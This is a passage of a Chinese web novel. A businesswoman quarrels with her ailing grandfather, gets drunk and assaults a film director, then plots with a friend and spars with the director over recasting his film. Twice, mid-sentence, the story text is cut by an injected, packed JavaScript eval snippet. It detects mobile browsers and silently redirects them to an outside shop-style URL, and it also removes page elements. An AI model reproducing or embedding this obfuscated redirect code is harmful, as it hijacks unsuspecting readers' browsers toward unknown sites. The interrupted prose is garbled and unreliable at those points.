商今悦进沈家以来,他俩就不满老爷子对她这个外人百般偏袒,甚至还有意把家里的产业也交予她来一同管理,沈先序作为老爷子的亲儿子,都没能分到几杯羹,怎么能甘心? 好在沈程硕还算争气,他们干脆退出了争斗,把全部筹码都赌在了沈程硕身上,不至于让沈家三代的努力全都交付给了一个外人。 所以可想而知,当得知沈程硕对他们坦白自己的感情,俨然一副被商今悦勾走了魂的时候,沈家这两口子有多震惊和痛心。 只有老爷子很高兴看着长大的两个孩子能走到一起,他俩哑巴吃黄连,恨不得把商今悦生吞活剥了,看她自然是一百个不顺眼。 沈先序无奈,深吸了口气调整过来,走到商今悦身边:“走吧,带你去见你爷爷。” 两人一前一后走去电梯,门关上后,封闭的空间里只剩下了两人,商今悦想到等会老爷子又要絮絮叨叨,就觉得浑身不自在,刚想从包里摸出来根烟,就沈先序被出声打断:“老爷子病了,闻不得烟味,你等会进门先消个毒。” 盯着电梯镜子里沈先序的反光,商今悦装作没听到似的,继续将那根烟点燃。 沈先序也不介意:“看你脸色不太好,昨晚又玩到多晚?” “托你的福,我这几天都在公司里,哪儿有什么闲心玩。” “怎么就和我有关了。” 电梯到楼层,商今悦轻哼一声走到他旁边,对着他缓缓吐出一口白雾,沈先序淬不及防呛了好几口烟,皱紧眉头咳了好几声。 “不用在背后搞这些小动作,我这次回来,就是特意把这个表现的机会让给你。” 她边说边取下唇边还在燃烧着的烟,将还在燃烧的另一头狠狠按进沈先序的肩膀。 “你!” 沈先序罕见失态地往后跳了两步,但身上那件深蓝色的西装外套还是被烫出了一个窟窿,他看着还沾着烟灰的衣领,攥紧了拳瞪向商今悦:“疯子。” 商今悦十分满意他的反应,丢了烟头,心情极佳地随着保姆的引导,前往老爷子的卧室。 打开门后,房间的陈设还是和记忆里没差,空旷、整洁,只放着一张床,茶几沙发和几架价值不菲的医疗仪器。 床上没有人,商今悦往里走了走,就在阳台上看见了沈老爷子的身影。 他两鬓花白,一身深灰色丝绸睡衣,坐在一辆价值不菲的机械轮椅中,手按在两侧,面朝着阳光远眺,脊背笔挺,体面到完全看不出是个身患重病的人。 “沈老头,我回来了。” 商今悦叫了他一声,沈志华没有动,只是淡淡地将视线挪了过来:“你是谁,我可不认识。” 商今悦淡笑,去床边接了杯温水:“是我,你孙女,商今悦。” “哼,我可不记得有个什么十年不着家的孙女。” 他边说边操控着轮椅回过身移进屋里,停在了离商今悦三四米的位置:“现在见你一面可真难啊,商总。” “对不起,商总就是很忙。” 她毫无悔意地耸耸肩上前,就快把杯子递到老爷子手里的时候,忽然手腕一转,送到自己的唇边抿了口。 沈志华静静地盯着商今悦喝完那杯水,商今悦才故作惊讶地捂了捂嘴:“哎哟,你不会也想喝吧?” “混账东西。” 沈志华笑骂着,扶着轮椅起来踢了她的小腿一脚。两人便情不自禁一起笑了起来。 两人分别在茶几的左右坐下,沈志华缓了缓神:“最近过得怎么样,睡得好吗?” “该吃吃该睡睡,你呢,听说好些了。” “能好到哪去,半截脑袋入土的人,也就这两年了”,他将手缓缓放在膝上,眼中浑浊转向她:“集团那边,又闹出来事了?” “说得跟没见过一样,这么大个集团,哪天不闹点事出来?” “既然知道每天都有数不清的事,那就少冒点风险,别把什么乱七八糟的东西都掺和进来。你现在赚得都够几辈子不愁吃喝了,还嫌不够吗?” 沈志华摇着头:“我都跟你说过多少遍了,你就是不听。” “哪是我想收手就收得了啊。我是赚够了,集团手底下还有那么多人,你去问问他们,他们会嫌自己赚的多吗?” “那就看看,我这把老骨头到底还能保得住你几次!” 沈志华忽然激动起来,说话急到连连用力咳了好几声。 商今悦眉头紧锁着盯了一会, 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商今悦按捺住逐渐急促起来的呼吸,退后几步和他拉开距离,冷冷瞪过去:“你都已经知道我想做什么了,还说什么场面话。说吧,接下来准备怎么办?是不是该放消息给他们了。” “属于你的那部分……你爸妈留给你的所有资产,我会原封不动地全数还给你。我们上一辈的恩怨就交给我们自己吧,该来的报应总会来的。” 沈志华望着她,尾音颤抖:“孩子,我不想你一辈子都活在仇恨里,你现在有了喜欢的人,有了优渥的物质环境,已经能过上比寻常人幸福百倍的日子了。你有没有想过,就算最后达成了你的目的,接下来要怎么办吗?你要怎么面对程硕,他会不会恨你、会不会和你做一样的决定?往后你又该怎么……” “那是我自己的事,用不着你操心,以为你们胜券在握了吗?告诉你,就连今天你提前看出来我的计划,也都在我预料范围之内。你要想去通风报信,是放心大胆地去说,看我们谁斗得过谁。” 商今悦一口气说完,忽然忍不住讥讽:“说得比唱的好听,还留给你们上一辈子自己处理,以为我会信什么下地狱、阴司报应之类的鬼话吗?不如多吃两口饭,少说几句话,给你那背后玩偷鸡摸狗那套的缺心眼儿子积点阴德。” “打断一下。” 沈先序不知何时出现在了门口,脸色难看:“你们是在吵架吗?爸的身体不好,小商,你少说两句。” “没有吵……” “对,撕破脸皮了,开心吧姓沈的?” 商今悦打断沈志华的话,大步走到沈先序面前,戳着他肩膀上的那个窟窿一字一顿:“我气得头昏脑热,想找个地好好休息休息,所以现在程阳集团就交给你了,沈总。” “今悦!”沈先序还没回过神,大声喊一声,商今悦已经撞开他的肩膀大步走了出去。 沈先序一头雾水地看了看她,又望了望老爷子:“要把她叫回来吗?” “不了。” 沈志华望着关上的电梯门深深地叹了口气:“程阳集团那边……你先去接手吧。” 7. 理解 07 商今悦当然没接着留在沈家,出门后干脆连司机刘杰都被她丢在了路边,上车后直接一脚油门开去了李煜文的酒吧。 一进门她就没好气地让人端酒,李煜文知道她是从沈家回来的,大气不敢出,只能眼睁睁看着她一声不吭地喝剩了一桌子的空酒瓶子,醉了睡、醒了喝,话都不敢插一句。 天色渐晚,他好不容易鼓足勇气,端着酒凑过去,还没来得及开口,商今悦忽然起身,猛地抡起一个空酒瓶,狠狠砸向桌子。 玻璃碎渣飞了一地,李煜文连忙叫人上来收拾,再看商今悦,脸颊、脚踝上也被飞溅的玻璃碎渣划了几道的血口。 “你流血……” “你滚开。” 她推开李煜文,摇摇晃晃地走了出去。 李煜文连忙在路边打了个车,报了她家的位置。 她见李煜文也准备坐上来,气得一脚把他踹了出去,关上了门自个儿躺在后座睡过去了。 迷迷糊糊中,她隐约看见李煜文坐去了副驾驶,一边嚎啕大哭,一边给司机一个劲儿地塞钱,吵得要死。 就算被他吵得脑仁疼,耳边却还在回荡着沈志华今天说过的话。 原来沈老头一直都知道她的计划,原来他早就知道了…… 她这些年还在犹豫要不要走到最后一步的时候,他早早就知道了她的所有谋算,没准都搭好台子,等着看她往火坑里跳呢。 现在直接告诉她又想做什么,挑衅吗?炫耀吗? 那他最好能接准她预备的每一步,没到最后,谁输谁赢还不一定呢。 她匀均了气息坐直起来,发现不知道什么时候已经到了家外。 李煜文从前面的副驾驶上探出脑袋,胆怯地望去一眼:“你困的话,再睡一会呗……” “我睡你大爷睡。” 她甩了甩脑袋,踹了脚靠椅翻身下车,抬头望过去家门口的方向,发现自己家前居然停了辆陌生的黑车。 她立刻警觉起来,在路边拾了块大石头攥在手里,猫着腰小心翼翼地朝着那边走去。 果然,一个男人正鬼鬼祟祟地立在车旁,直勾勾地盯着她家的方向。 她二话不说,举起石头就朝着那人砸去。 但因为喝了太多,一个踉跄过去,石头砸在了那人脚边不远处,吓得那人连连退后了三两步。 追上来的李煜文也连忙跑过来拉住她:“不好意思、不好意思啊,她喝多……宴北川?你怎么在这?” 李煜文迅速认出来宴北川,宴北川看着脚边那块和半个脑袋一样大的石头,捂着心口惊魂未定:“你们再有钱,也不能光天化日的杀人吧?我就是……来找她说一下电影的事。” “宴北川?” 商今悦在听到熟悉的名字后瞬间清醒了不少,皱着眉推开李煜文起身,晃晃悠悠地走近,眼前的人影也随着步伐靠近由模糊变清晰,最终定格在宴北川惊恐的脸上。 他已经被商今悦逼到退无可退,后背紧紧贴在车上,双手勉强撑住身体,生无可恋地嗫嚅了声:“您想做什么……” “贱人。” “什么?啊!” 宴北川还没反应过来,就被商今悦一把薅住了头发,李煜文惊得小跑过来想分开他俩,商今悦却拽着他的头发越拽越紧:“你居然还敢来?看我今天怎么收拾你这个不识抬举的东西!” “嘶……我又怎么了,你松手、松手啊……” 她说完便连扯带拽地更用力了,三人争执间引来了不少围观,李煜文见状慌忙脱下外套挡在两人之间:“别在外面,等会有人拍到就完了!这样,你先给她挪屋里,她家里人多,保姆管家什么的肯定能给她扯开。” “好……” 宴北川疼得到抽气,眼下又拉不开商今悦,也只能死马当活马医了,于是拍拍李煜文:“那您往旁边稍稍……” “哦哦哦,你要干什……” “啊!” 李煜文刚一挪开,宴北川忽然出其不意地矮下身,抄起商今悦的小腿直接一把将人扛了起来。 商今悦惊呼一声,她一米七二的个头,体重可一点算不上轻,谁也没想到宴北川居然能毫无压力地给她扛了起来,跟提溜小猫小狗似的。 李煜文和商今悦都愣住了。 只有宴北川感觉到商今悦终于没拽着自己的头发了后松了口气,头皮还在隐隐发麻。 人群周围已经有不少人举起手机了,他赶紧提醒僵住的李煜文:“您快过来把她挡住。” “哦哦哦……” 李煜文举着外套准备挡脸,宴北川干着急地紧闭上眼,也顾不上什么上下级敬语之类的了:“她穿的裙子,你挡哪儿啊!” “哦哦哦……” 李煜文举着外套往前面跑也不对:“不行,她的脸不能拍到啊。” 商今悦回过神,猛地拧了把宴北川的腰:“老子能走!放老子下来!” 宴北川痛叫一声,和李煜文换了个眼神,默契地选择了无视商今悦的要求。 李煜文更是连连作揖示意:“可别放这祖宗下来,快快快、快给她整回屋里!” 宴北川极其绝望地深吸了口气,尝试和商今悦商量道:“商总,这是特殊情况啊……” 商今悦还没搞清楚两个人在搞什么名堂,压根不松手。 谁知下一秒,宴北川忽然把她往身旁一甩,天旋地转地滞空了两秒后,她稳稳地一头扎进了个坚实的胸膛里。 还在发昏的脑袋突然猛地被一只手按进怀里,脸被迫和肉壁里的快得要跳出来的心跳紧紧贴着,随着胸腔的震颤,她的头顶不断响起宴北川的声音…… “对不起啊对不起对不起……斯、啊!她咬我!” “你忍住啊,别给她摔了——” 意识到自己正在被快速“搬运”后,商今悦想都没想,朝着面前鼓囊囊的软墙,猛得一口又咬了下去。 “嘶、你……” 宴北川再次被咬到的瞬间差点脚下没踉跄翻过去,连“痛”都喊不出来了,只发出来一声颤抖的闷哼,整个脑袋连着脖颈霎时间红了个透。 商今悦也立刻发现自己连着那堵“墙”迅速往下坠了坠,摸索到脑袋上还盖了层外套,终于弄清楚了现状—— 现在是宴北川正把打横把她抱着,一只手按着她的脑袋一边在前面跑。 “谁准你碰我的,老子要杀了你!” 她气得来回翻腾,像被捞上岸的鱼似的不断挣扎。 可宴北川稍作修整后,不知道哪来的一身牛劲,按着她的脑袋死死地锢着往前跑,任她怎么努力都纹丝不动。 李煜文还在她耳朵旁边念经似的叨叨:“想想程阳集团,想想你的股市,想想明天的城市新闻,求你了好姐姐,你安分一会啊……” 几十米的路,三人都觉得像走了十万八千里的远,好不容易捱到了屋里,保姆管家见到情况,都一窝蜂地涌了过来。 李煜文解释完前因后果,在众人的注视下,宴北川屏气凝神,小心地把商今悦放在了沙发上。 出乎意料的是,不知道是喝得太多了,还是真的闹累了,商今悦居然就这么闭上眼睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207484|151013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去了。 在场的所有人都松了口气。 宴北川和李煜文一起跌坐在沙发旁,宴北川浑身都在疼,胳膊后腰都被商今悦锤了一遍,怎么也想不到长得那么清秀漂亮的人,拳头打人怎么能像铅球一样硬。 他疼得龇牙咧嘴直哼哼,不知道是该先揉脑袋,胳膊还是被她咬过那侧窘迫的胸口。 经此一遭,李煜文像是把宴北川当患难兄弟了,拍着他的肩感慨:“兄弟,你真辛苦了,我歇会去给你找药,你看看哪儿破皮没。” “她怎么喝的这么多?” 才进屋不到十分钟,屋子里已经溢满酒气了,宴北川看着正架着商今悦上楼休息的保姆们,眉头紧锁:“她一喝醉就这么……这么狂野吗?” “也不是,就是最近生意上遇到点事,被她爸给设计了,估计被家里人说惨了,心里不痛快吧……” “她爸?” 宴北川吃惊:“她爸设计她?她跟家里人关系不好吗?” “何止是不好,他们那一家子老的小的都……” 嘴在前面飞,脑子在后面追,好不容易智商回暖了,就看到宴北川望过来个不解的探究视线,忙着傻乐的李煜文才反应过来嘴上把门,愣是把后半句“都被她收拾了个遍”给咽回去了。 可不能让宴北川把今天的事给传出去。 虽然不知道今天老爷子到底说了多难听的话,才让她有这么大的反应,但追根究底,这件事责任在他头上。 李煜文哑住了。 扯个离谱的谎糊弄过去吧,最好是宴北川传出去,也不会有人信的那种。 “额……那一家子老小都……” 李煜文嘀咕半天,灵机一动接上:“都成天欺负她。” “啊?” 管他三七二十一,先卖个惨。 说完,他装模做样地叹了口气,张口就来:“你只看见她年纪轻轻接手了这么大一个集团,人前风光。其实她回了家还要看爹妈老头的脸色,天天被挑刺。要不是这几年她哥出国了,程阳集团说话都轮不到她的份儿。你说她心里能不憋屈吗?再不喝点酒回归一下本性,不知道憋出多少毛病。” “她还有哥……不对,为什么有她哥就轮不到她的份儿啊?” 宴北川愣了好半天,突然像是明白了什么似的:“她家不能够重男轻女吧?” “对啊。” 李煜文本来就编得词穷,虽然不知道宴北川怎么想到这上面来的,但还是配合地撞了撞他的肩膀圆下去:“你可别把今天的事给说出去,就当没发生过啊。你也看得出来,她死要面子,人小姑娘一个人撑到现在,挺不容易的。” 宴北川像是得知了什么惊天大秘密,不可置信地看去楼上忙碌的人群,心中忽然涌出一股怜悯。 难怪商今悦总是这么乖僻霸道,在这么扭曲的坏境下正常长大就已经很不错了,更不提什么健康的性格养成。 宴北川沉思许久,郑重其事地冲李煜文点了点头:“我知道了,放心吧,我一定替她保密。” 李煜文自己也没想到能这么顺利,想着他俩之后应该也没什么交集,反正是糊弄过去了就行,于是拍拍屁股起身:“行,那我去给你找药啊。” “我刚刚看见她好像也受伤了吧?脸那边。” “我可不敢再过去了,等会我找了药,你给她管家送过去吧。” “哦……” 李煜文起身,看见宴北川凌乱的头发,欲言又止。 “额……我再去给你找找,有没有生发灵。” “……” 8. 合作 08 李煜文找药回来递给宴北川时,宴北川其实已经感觉身上没哪块还疼了,反而是一直想起李煜文提到的商今悦的家庭情况:这人到底平时活得有多压抑,酒醉后才会这么……释放天性。 天色渐晚,李煜文看了下时间:“我得先回家了,你呢,接下来怎么打算的?” “我今天本来是想找商总商量一下电影的事情,那边时间安排得很急,但我……一直联系不上她,就想着来她家等等看。” 宴北川这才猛地想起来自己来这的目的,看了看楼上的情况:“今晚应该是谈不了了,我明天再来找她问问吧。” 宴北川说完就开始绝望了:那天他送商今悦回来的时候,“不识好歹”地没有主动要商今悦的联系方式。现在电影遇到问题了,自讨苦吃再去加她,迟迟等不到她同意好友申请的时候,就知道这是商今悦明摆着给他挖坑,要给他好看的。 他今天来之前,就做好了被刁难的准备,没想到节外生枝,碰上了这档子事。 想着今晚“搬运”商今悦时候她七窍喷火的态度,明天她醒过来要还记得这茬,不得把他两把火给他烧了。 “她忙起来确实看不见消息……不对,你在她家门口蹲她有什么用啊?她又不止这一处房子,工作忙起来的时候,三天两头都不一定回来一次,你怎么遇到啊。” 李煜文说完,一琢磨:“我也不知道她最近什么行程安排,这样吧,你干脆就在她家休息一晚,等她醒了说吧。” 宴北川吓得连连摆手:“不不不、这太不礼貌了,那我去车上睡一晚等她……” “睡什么车,她家这么多房间,有什么不礼貌的,我帮你说声”,李煜文根本不等宴北川多说,就大咧咧地攀过他的肩膀往楼上喊了声:“杨叔、杨叔!” 那个叫“杨叔”的管家闻声从二楼探出头:“怎么了?” “他来找商总有急事,明天等她醒了说,你们给他收拾间房,对付一晚。” “没问题。” 杨叔比了个“OK”的手势就转身消失在了二楼扶栏,宴北川都来不及多说一句,就被两人迅速安排得明明白白。 李煜文困得打了个哈欠,拍拍他的胳膊:“不用不好意思,你今晚可是帮她守住了程阳集团股市的大功臣。好好休息,我得先回去了。” 什么功臣,商今悦不把他杀了都算好的了。 杨叔和李煜文不知道商今悦和他的恩怨,宴北川自己能不知道吗?想着商今悦第二天醒过来要是知道他还在她家大摇大摆地睡了一觉,不得把他生吞活剥了。 宴北川不寒而栗,心中连连叹了好几声气,也知道和李煜文争执没有意义,于是应下:“好吧,时候不早了,需要我送您回去吗?” “不用,我打个车。” 宴北川送走李煜文走后折返回去,拦住下楼准备给他去收拾房间的两个保姆:“不麻烦了,我等会就走,现在方便我上楼和杨叔打声招呼吗?” 两人诧异地面面相觑,还是回道:“嗯,小姐刚换好睡衣。” 宴北川拿好药,轻步走上楼,临到商今悦卧室门口敲了敲门。 杨叔注意到他,走了出来,对他温和笑道:“今天的事见笑了,还没来得及谢谢您呢。不知道您现在好些没有,我刚刚叫人帮你收拾好房间,今晚好好休息吧。” “我没事了,不用麻烦,我等会就回家。” 宴北川说着,将李煜文给他的药递给杨叔:“不知道你们注意到没有,她脸上……就是靠着耳朵旁边那里还有些伤。其他的没什么了,我就是来道个别,没什么事的话我就先走了。” “李少爷不是说,您有急事要找小姐商量吗?不用不好意思,就在这里休息吧。” “没事没事……” 宴北川心里已经做好了在车里等一宿的打算了。 杨叔和他客套着,两人互相推辞了好一会,一起走下了楼。没成想两人刚到一楼客厅,大门“啪”一声被打开。 一个尾音扭成山路十八弯的女声比本人更先闯进来:“哎哟,听说小商总在深夜买醉啊,快来让人家心疼心疼。” 紧接着一个甩着包的熟悉身影走了进来,看见他们的瞬间就顿在了原地。 “宴北川?” 岑溪音挑眉,面露讶异地指了指他:“我去,还真是你?你怎么会在这儿?” 人生啊,一波未平一波又起,真是头发眉毛两头着火。 宴北川感觉自己的脑袋快炸开了,强撑出一个笑脸:“我是来找商总商量电影的事,但她今天看起来不太方便……” “啊?她真给你投资了?”岑溪音睁大眼,喜出望外地三两步走近:“我还以为她对你没兴趣呢。没想到你还真有点本事嘛。” 杨叔皱眉,迟疑地将视线挪到宴北川身上:“额……什么兴趣?” “不是那个意思……” 误会大了去了。宴北川又急又百口莫辩,根本解释不清,总不能把他曾经拒绝了商大小姐的事给公之于众吧,那才是真在找死。 “拍电影的兴趣啊。” 他大脑一片空白的时候,没想到岑溪音意外地开口圆上话题:“我前段时间给她介绍了宴导的电影,当时还以为她怕影响公司,没兴趣搞娱乐圈的东西呢。” “哦哦,是这样啊。” 杨叔看向宴北川的神色缓和了不少:“原来您是小姐看中的导演啊,那就更不该怠慢了,今晚就留下来吧。” 岑溪音插进话题:“什么留下来?” 杨叔顺势解释清楚前因后果,岑溪音不以为然:“那就住着呗,她又不能吃了你。” 宴北川实在不知道该找什么借口辩解,岑溪音转头把包甩到他手里,一边窃笑着往楼上走:“我听李煜文说,商总今晚好兴致,海量啊,我来看看怎么个事儿。” 杨叔看过去:“小姐刚睡下。” “吵不醒,就算醒了,吃了一肚子的气,不正好找我诉诉苦再睡嘛”,岑溪音走到一半停下脚步,指指宴北川:“你愣着干嘛,拿着我的包上来啊。” “不不不,这不合适,杨叔您说是吧……” 没想到杨叔思考了片刻后,居然侧身让出了位置。 事到如今,也没有再推脱的理由了,宴北川咬咬牙还是跟着岑溪音一块了上楼。 走进门,商今悦的卧室很大,大到有些空旷。 除了满足日常需求的桌椅、沙发、柜子,就再没有其他的家具,一张灰黑色的大床位于卧室的正中央,商今悦整蜷在床铺的正中心睡得正熟,岑溪音蹦跶蹦跶过去,一屁股坐在床沿都没把她惊醒分毫。 宴北川在离床四五米的位置停下安静地等着。 岑溪音熟练地将手钻进被子把商今悦给捞到了自己怀里,捧起她的脸左右端详,戳了戳她左边脸侧一处包扎好的伤口:“嚯,确实喝的不少,怎么脑袋还整开瓢了,干什么去了这是……” 商今悦皱了皱眉,但仍然没有醒过来,宴北川忍不住提醒岑溪音:“是玻璃划伤的,杨叔他们才包扎好。岑总,商总看上去已经睡着了,要不我们明天再来看她吧?” 岑溪音看向他,没有立刻回答,轻嗤一声:“我怎么觉得,你从刚才到现在,好像一直想躲着她似的?” 宴北川心虚:“没有……就是觉得打扰商总睡觉不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207485|151013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太好。” “怕什么,你不知道她这人有个毛病,每次一睡着,就跟死了似的,天打雷劈都叫不醒。” 岑溪音边说,边伸出食指,揉开了商今悦皱起的眉心:“你看,又睡过去咯小商总,她就只有睡着说不出话的时候才可爱些。就是要趁这个时候多揉两把,看这张漂亮小脸蛋哟……” 宴北川看着岑溪音手法温和地轻揉着商今悦的脸,只觉得胆战心惊,度秒如年,生怕下一秒商今悦就突然睁开眼。 但真像岑溪音所说的,商今悦一直没醒过来,一张小小的脸被岑溪音的两只手包裹着,白皙的皮肤泛起一层淡淡的红晕,面庞的确像岑溪音所说的那样可爱动人。 宴北川不敢多看,岑溪音对他吹了声口哨:“现在没别人了,跟我说说,你们俩怎么回事?” “什么事?” “她是不是看上你了啊”,岑溪音笑意玩味:“那天我瞅着她让你送就觉得有戏,你俩现在发展到哪了?” “……岑总您误会了,商总真的只是投资了电影。” 岑溪音瞬间收起了笑:“跟我藏什么呢,我又不告诉别人,你俩要是真能成,我高兴还来不及。” 宴北川无奈:“您太抬举我了,商总怎么可能看得上我啊……” 岑溪音正想说什么的时候,目光忽然转向怀里的商今悦笑了笑,随后面向宴北川长叹一声:“哎,算了算了,就知道你没什么能耐,出去吧,我再捏一捏小商总。” 宴北川如获大赦,放下岑溪音的包后迅速关门跑路了。 室内恢复安静了数秒。 “玩够了就松手”,商今悦一脸不爽地睁开了眼,狠狠拍了把岑溪音的腿,翻了个白眼。 岑溪音没有松开手,嬉笑着又捏了捏她脸颊的肉:“我这么捏你,你都还接着装睡,看来是真不想见他啊,这么讨厌他,他到底怎么着你了?” 商今悦不耐烦:“少管我的事。” 圈内消息互通,岑溪音早就知道商今悦准备断掉宴北川电影资金链的动作,自然猜出来了两人之前的关系肯定不怎么好。 想到这,岑溪音忍不住戏谑:“不过断人后路断到一半,突然反过来给他雪中送炭来了。商总,你怎么亲自上场还给他投资上了,这不是你的作风啊,害得我还以为太阳打西边出来,你真的对他有兴趣了呢。” “知道太阳不可能打西边出来,就少拿这种话来恶心我。” 商今悦推开她的手,从床上坐起来,拿起床边晾好的温水抿了抿:“你想拆我和沈程硕想疯了吧,什么鸳鸯谱都乱点。” “没办法,你非说喜欢沈程硕那张脸,我找遍京城,也就那个姓宴的那张脸还看得过去,死马当活马医,试试看咯。” 岑溪音摆摆手,干脆整个身体倒下去,躺在商今悦的腿上开门见山道:“毕竟我们这么多年朋友了,你要是为了个男人,和我站到对立面去了,我会很伤心的。商总,干嘛要和那男的掺和在一起,你自立门户,或者跟我不好吗?” 作为岑家产业以后的接班人,岑溪音也只是面上玩世不恭,心里门清的很。岑家和沈家的生意有着不少利益冲突,这几年两家能和平发展,也是多亏了沈老爷子病倒后,沈家内部暗流涌动,程阳集团里也是权力分散,不在谁一人手里。 要是商今悦真的和沈程硕在一起了,程阳集团内外声音一致,岑家以后的日子,可就没那么安逸了。 商今悦放下杯子,看着腿上的岑溪音轻笑一声,伸手拍着她的脸:“祖宗,我有说过我和沈程硕是一边的吗?” “给点明示啊?小商总。” “我这儿有笔新生意,做不做?” 9. 大礼 09 宴北川在车里度过了不怎么舒坦的一晚,早上掐着商今悦可能会醒来的点登门。 开门的人是杨叔,招待他先沙发上坐下稍等后就去了厨房,屋里飘着股烤面包的清香,桌上放着各式各样冒着热气的早点。 摸不清商今悦等会是什么态度,宴北川手放在两膝上坐立难安。 楼上传来开门的声音,他立刻警觉地回身望过去,是岑溪音从商今悦的房间里走了出来,一边活动着胳膊下楼。 看到宴北川,她见怪不怪地打了声招呼:“早啊,小宴。” 宴北川起身:“岑总早。” 岑溪音坐到桌前,挑了杯牛奶:“来这么早?吃早饭了吗。” “没有。” “过来一起吃点呗。” “谢谢岑总,不用了。我等商总,谈完事就回剧组。” “那你直接上去找她吧,她醒了。” “……我就在这里等吧。” “那你要等到下午去了”,岑溪音抬抬手:“她早上没事一般都不出卧室。跟在床上打窝了似的,下不来。” 宴北川瞄了眼楼上犹豫,最后认命:“好吧。” 心中千万个不情愿来到了卧室门前,商今悦果然已经醒了,正带着耳机坐在床上,身穿纯白色的睡袍,聚精会神地打着游戏。 宴北川走近,她余光瞟了眼,没什么情绪变化,像不记得昨天的事,也没看见他一样继续玩。 宴北川酝酿好情绪,试探着问:“您现在有空吗?” “有没有空看不出来吗?” 商今悦视线一直落在屏幕上,看都不看他,赶人的意思不言而喻。 “好吧,那等你打完。” 但宴北川不知道是真傻还是装傻,在门口的椅子上一坐,干脆等了起来。 这样氛围僵持了十几分钟,一局游戏结束,商今悦朝还在门口等着的宴北川看过去,被无语到笑出了声。 宴北川见状起身:“打完了吗?” 她摘下了一只耳机,从鼻息间叹出一段长气:“去把早饭给我端上来。今天没什么胃口,要清淡的,一点油都不要,自己看着办。” “好。” 宴北川转身下楼,虽然没摸清她想做什么,但已经迅速适应了保姆的角色。 商今悦盯着他离开的背影皱了皱眉,但很快,眉间的阴郁,就随着新一局游戏的启动散开。 没过一会,宴北川端着早饭回来了,在卧室环视一圈,找到了她平时吃饭用的移动桌子,放上去推到她身边。 商今悦扫了眼,他挑了一碗粥、鸡蛋和一叠糯米糕点,不满意道:“你是觉得我有手剥壳吗?” “好。”宴北川把鸡蛋拿走。 “我有说我不吃了吗?” “……” 宴北川走去另一边,安静地剥起了壳。 等他把剥好的鸡蛋重新放进盘里,商今悦唇边不知道什么多了支没点燃的烟,看手机屏幕里的画面,似乎正是战况焦灼的时候。 她也没工夫管他了,含糊一声:“桌子上有打火机,给我点一下。” 宴北川下意识地劝道:“你才刚睡醒就……” “别墨墨迹迹的。” 宴北川暗暗叹了声气照做,一只膝盖半跪在床沿,伸手护着将火焰送去点燃她唇边细长的香烟。 这个距离很难不让人注意到那双辉映着明亮火光的漂亮眉眼。 他屏住呼吸,感觉火光烧得四周的空气温热,而那张轮廓分明的脸庞近在咫尺,精致到会让人惊叹,这样一张脸居然真实存在的。 他不敢多看一眼,甚至不敢呼吸。 等到看见一缕白烟从她唇边溢出,他立刻像是被那眼中的火光烫到般,退回到安全区域。 谁知商今悦突然将手机塞到他手里,翻了身调整身体坐起来,解放出来的手顺势将唇边的烟取下,呼出一口白雾:“说说看吧,找我什么事。” 宴北川愣了下,不解地看了眼手机上还没结束的游戏画面。 她顺势扬了扬下巴,轻笑道:“我不想打了,你来。边打边说,输了就立马滚蛋。” 宴北川瞳孔瞬间收紧,连忙将注意力转移到手机上的画面,一边快速检查着游戏设置,一边组织语言:“是电影那边的事……前几天资方那边突然说要换主演,他们说是您的意思。” 商今悦装作思考了一会:“对,是我提的,怎么了?” “我来想问一下,您这么突然要主演,是有什么顾虑吗?” “这不显而易见吗?他太糊了,我看不上。何总都叮嘱我好好照顾一下你,我肯定得看何总的面子,给你安排最好的,不是吗?” “商总费心了……” 听见商今悦拿之前他说过的话来呛他,宴北川就知道那天的事压根没过去。 他心中更加确信了答案,嘴角抽了抽后,干脆坦诚布公道:“但我们已经拍了一个多月,宋岩各方面都很合适,我实在想不通您临时要把他换下来的原因。如果就只是因为我们俩之间的个人恩怨的话,我想替他来求个情,我做过的事,不应该由他来买单吧。” 商今悦不屑:“谁跟你我们俩?宴北川,你是不是太看得起自己了。” 宴北川无言。 商今悦幽幽地熄灭了烟,摇摇头:“别忘了,你这破电影,我也投了两百万进去。你是觉得,我会因为跟你较劲,让我的钱打水漂?你觉得你值这个价吗。” 说一半,她想起来那天喝酒的支票:“哦,不对,我忘了,你值,你值整整二百五。” 宴北川深吸了口气,把揶揄的话压了下去:“那我确实不明白,您突然要换掉宋岩的原因。” 商今悦看他眉头紧皱的严肃模样,手上却还在忙着游戏的画面,实在是滑稽得让人忍不住发笑。 “不止傻,耳朵也是摆设。你以为我不知道你为什么想把他留下来吗,不就是因为他是你朋友吗?” 宴北川沉默了一瞬,坦诚道:“在开拍之前,他就已经和这个剧本磨合了很多年。我支持他,是因为他是个很优秀的演员,不只是因为他是我朋友。他的作品集我今天带过来了,如果您看完还是觉得心里没底,可以来剧组亲自检验。” “你是听不懂人话吗?我说了,他咖位不够。” 商今悦无语叹气:“我不需要看他演得怎么样。我不想去赌、你一个要话题没话题、要热度没热度的笨蛋编导,带着你捡来的那个和你蠢得不相上下的糊咖,能拍出来什么好电影。光是想想我砸着钱,给你俩过家家,我半夜睡醒都得起来给自己两巴掌,骂自己冤大头。” 商今悦说这话是真心的,她换主演也不单纯是为了恶心一下宴北川。 感情是感情,工作是工作。她可一点不喜欢做亏本生意。 她不多废话:“换个演技热度都有基本保障的主演,起码能保证我砸进去的钱能回本。还是说,你能向我保证,那个什么宋岩来演,也能达到这个效果吗?” 